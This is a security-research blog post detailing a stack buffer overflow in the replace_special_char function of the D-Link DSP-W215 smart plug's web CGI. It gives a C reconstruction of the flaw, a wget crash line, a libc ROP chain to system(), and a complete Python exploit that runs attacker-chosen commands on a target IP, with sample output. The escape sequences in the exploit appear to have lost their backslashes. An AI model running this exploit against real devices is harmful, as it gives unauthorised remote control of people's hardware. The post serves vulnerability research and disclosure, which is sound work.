Hacking the DSP-W215, Again, Again – /dev/ttyS0

Here we go again…again.

In the last DSP-W215 exploit, I mentioned that the exploit’s POST parameter name had to be “storage_path” in order to prevent the get_input_entries function from crashing prematurely. That’s because there is another stack overflow, this time in the replace_special_char function, which is called by get_input_entries if the POST parameter name is neither “storage_path” nor “path”:

Checking the POST parameter name against "storage_path" and "path"

Checking the POST parameter name against “storage_path” and “path”

The replace_special_char function is passed a single argument which is a pointer to the current POST value being processed:

replace_special_char(entries[i]->value);

replace_special_char(entries[i]->value);

The replace_special_char function is responsible for URL decoding a small set of common ASCII characters:

List of ASCII characters to be URL decoded, if necessary

List of ASCII characters to be URL decoded, if necessary

To do so, it first takes the string length of the POST value that was passed to it by get_input_entries:

post_value_length = strlen(post_data);

post_value_length = strlen(post_data);

And loops through post_value_length bytes:

Loop while i < post_value_length

Loop while i < post_value_length[/caption]

On each loop iteration, it stores one byte (either the URL decoded byte, or if URL decoding was not necessary, the original byte from the POST value data) into the local stack variable decode_buf:

decode_buf[j] = post_data[i]; decode_buf[j] = post_data[i];

Essentially, it’s doing this:

void replace_special_char(char *post_data)
{
    char decode_buf[0x258];
    int post_value_length, i = 0, j = 0;

    memset(decode_buf, 0, sizeof(decode_buf));

    post_value_length = strlen(post_data);

    while(i < post_value_length)
    {
        /* 
         * ...
         * If post_data[i] == '%', then it's URL encoded; try to decode it here
         * (as long as the POST data isn't URL encoded, this code does nothing,
         * so it's not shown).
         * ...
         */

        // No bounds checking on index j!
        decode_buf[j] = post_data[i];
        j++;
        i++;
    }

    ...

    return;
}

Examining the stack layout of replace_special_char, a POST parameter with a value of 612 bytes will overflow everything up to the first saved register ($s0) on the stack, and another 36 bytes gets us to the saved $ra:

Stack layout of replace_special_char

Stack layout of replace_special_char

# Overflow $ra with 0x42424242
wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://192.168.0.60/common/info.cgi
$ra = 0x42424242

$ra = 0x42424242

Since the decoding loop uses strlen to determine how many bytes to copy into decode_buf, our only restriction is that our POST data can’t contain NULL bytes. This means that the return address used in previous exploits won’t work, since it contains a NULL byte, but we can ROP into libc to acheive the same effect.

At offset 0xBA50 inside libc there is a gadget that points the $a1 register to the stack (specifically, $sp+0xB8) and then jumps to whatever address is contained in the $s1 register:

First ROP gadget

First ROP gadget

If during the stack overflow we overwrite $s1 with the address of offset 0x34640, execution will jump to the next gadget, which moves $a1 into $a0 (the first function argument register), then calls whatever function address is in $s0:

Second ROP gadget

Second ROP gadget

As long as we ensure that $s0 points to the system() function (at offset 0x4BC80 in libc), we’ll effectively call system with a pointer to the stack:

system($sp+0xB8);

After adding libc’s base address (0x2AB61000) to these offests, we can write some PoC code to test the vulnerability:

#!/usr/bin/env python
# Exploits overflow in replace_special_char.

import sys
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf =  "foo="               # POST parameter name can be anything
buf += "E" * 612            # Stack filler
buf += "x2AxBAxCCx80"   # $s0, address of system()
buf += "x2AxB9x56x40"   # $s1, address of ROP2
buf += "F" * 4              # $s2, don't care 
buf += "F" * 4              # $s3, don't care
buf += "F" * 4              # $s4, don't care 
buf += "F" * 4              # $s5, don't care
buf += "F" * 4              # $s6, don't care 
buf += "F" * 4              # $s7, don't care 
buf += "F" * 4              # $fp, don't care 
buf += "x2AxB6xCAx50"   # $ra, address of ROP1
buf += "G" * 0xB8           # Stack filler
buf += command              # Command to execute

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

And, as before, we can execute any command, and get the output as well:

$ ./exploit2.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 22 19:18 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www
Bookmark the permalink.

Comments are closed.